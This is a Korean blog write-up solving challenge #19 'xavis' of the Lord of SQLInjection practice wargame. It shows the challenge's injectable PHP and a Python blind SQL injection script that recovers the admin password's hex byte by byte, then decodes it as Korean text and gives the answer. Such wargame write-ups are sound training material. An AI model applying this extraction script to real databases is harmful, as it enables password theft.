LOS #19 xavis
Lord of SQLInjection
los.rubiya.kr
Source code
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis");
highlight_file(__FILE__);
?>
Query
select id from prob_xavis where id='admin' and pw=''
Write-up

위 사진에서 확인할 수 있는 정보는 다음과 같다.
-
파라미터는 pw 1개가 사용될 수 있다.
-
pw 값에 like 필터링을 한다.
-
id 값은 'admin'으로 고정되어 있다.
- addslashes() 함수로 전달한 pw 값의 single quote, double quote 등을 필터링한다. 따라서, DB 상의 pw 값과 일치하는 값을 전달해야 한다.
-
마지막 if문을 보면 입력한 pw 값과 DB에 저장되어 있는 pw 값이 정확히 일치해야 함을 알 수 있다.
LOS 4번 orc와 비슷한 문제이다. pw 값의 길이를 알아내고, 1글자씩 비교하여 정확한 pw 값을 맞추면 된다. 그런데, ascii code 값으로 pw 값을 맞출 수 없었다. 다른 write-up을 보니 pw가 한글이었다. 한글은 utf-8 또는 utf-16으로 나타낼 수 있는데 최소한 2bytes 길이의 값이 사용된다.

먼저 pw 값의 길이를 맞춰야 하는데, 12(pw)를 전달하면 id가 'admin'인 row를 가져올 수 있었다. 하지만, pw가 한글인 상황에서 1글자씩 비교하여 pw를 추측하려면 16진수로 변환된 pw 값의 길이를 구해야 한다.

위와 같이 pw를 hex() 함수를 통해 16진수로 변환한 pw 길이는 24임을 알 수 있다.
Code
#!/usr/bin/py
#-*-coding:utf-8 -*-
import requests
pw=""
for i in range(1,25):
for j in range(48,128): # 0~9, a~z, A~Z
try:
url="https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=1' or id='admin' and substr(hex(pw)," + str(i) + ", 1) = \'" + chr(j)
result = requests.post(url, cookies=(dict(PHPSESSID="세션값")))
except:
print("Error...")
continue
if 'Hello admin' in result.text:
pw = pw + chr(j)
print("pw : " + pw)
break

위 코드에 따르면 pw 값을 16진수로 변환하였을 때 "0000C6B00000C6550000AD73"임을 알 수 있다.
중간중간 null 값으로 추측되는 "0" 문자가 있는데, 4bytes씩 자르면 아래와 같다.
0x0000C6B0
0x0000C655
0x0000AD73
이 값들을 한글로 변환해주면 된다.
* utf-8 한글 참고 링크
유니코드(UTF-8) 한글 코드표, 한글코드 범위 {AC00-D7AF}
유니코드(UTF-8) 한글 코드표, 한글코드 범위 {AC00-D7AF} U+AC00 to U+AD00 0 1 2 3 4 5 6 7 8 9 A B C D E F UTF8: 234, 176, 128; UNICODE: AC0 가 각 갂 갃 간..
jjeong.tistory.com
0x0000C6B0 => 우
0x0000C655 => 왕
0x0000AD73 => 굳
Parameter
pw=우왕굳
쿼리문은 다음과 같다. pw 값이 한글일 수도 있다는 생각을 하지 못하면 풀기 매우 매우 어려운 것 같다.
select id from prob_xavis where id='admin' and pw='우왕굳'
Success

'Wargame > LOS' 카테고리의 다른 글
| LOS #21 iron_golem (0) | 2020.12.08 |
|---|---|
| LOS #20 dragon (0) | 2020.10.28 |
| LOS #18 nightmare (0) | 2020.10.28 |
| LOS #17 zombie_assassin (0) | 2020.10.28 |
| LOS #16 succubus (0) | 2020.10.28 |